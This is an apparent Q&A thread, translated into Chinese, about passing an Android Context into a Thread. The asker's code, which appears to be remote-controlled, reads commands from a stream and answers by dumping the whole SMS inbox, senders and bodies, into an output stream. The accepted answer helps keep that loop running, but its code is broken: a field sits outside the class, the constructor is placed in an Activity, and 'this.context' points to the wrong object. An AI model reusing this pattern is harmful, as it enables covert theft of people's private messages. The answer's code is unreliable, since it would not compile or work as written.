以前,我使用的是kelas1 extends Service,我的代码适用于“收件箱”。但是,如果我的班级正在使用kelas1 extends thread,我不知道如何使它工作。

sms.inbox(kelas1.this,localDataOutputStream);


这是我的代码:

kelas1.java

public class kelas1 extends Thread {
public void run() {
    //code
    while (true) {

        charsRead = in.read(buffer);
        if (charsRead != 1) {
            String message = new String(buffer).substring(0, charsRead).replace(System.getProperty("line.separator"),"");
            Log.d("wew", message);

                // this is my problem
            sms.inbox(kelas1.this,localDataOutputStream);
    }

}


readsms.java

public class readsms {

    public void inbox(Context context, DataOutputStream outstr) throws IOException{
        Uri uriSMSURI = Uri.parse("content://sms/inbox");

          Cursor cur = context.getContentResolver().query(uriSMSURI, null, null, null,null);
          String sms = "";
          int body = cur.getColumnIndex("body");
          while (cur.moveToNext()) {
              sms += "Dari :" + cur.getString(2) + " : " + cur.getString(body);
          }
          Log.d("wew", sms);
          sms = sms + "\nbaca sms selesai";
          outstr.writeBytes(sms);
    }
}

最佳答案

您需要一个活动类的上下文,因此在kelas1中需要一个构造函数

Context context;

public kelas1(Context context)
{
   this.context = context;
}


然后在您的代码中,您必须使用以下上下文:

     sms.inbox(context,localDataOutputStream);


将您的代码更改为类似以下内容:

final Context context;
public class kelas1 extends Activity {

   public kelas1(Context context)
    {
       this.context = context;
       call_thread();
    }

public void call_thread(){
        new Thread(new Runnable(){
         public void run() {
            while (true) {
                charsRead = in.read(buffer);
                if (charsRead != 1) {
                    String message = new String(buffer).substring(0, charsRead).replace(System.getProperty("line.separator"),"");
                    Log.d("wew", message);

                    // this is my problem
                        sms.inbox(this.context,localDataOutputStream);
                }
              }
           }).start();

        }
    }

07-26 09:33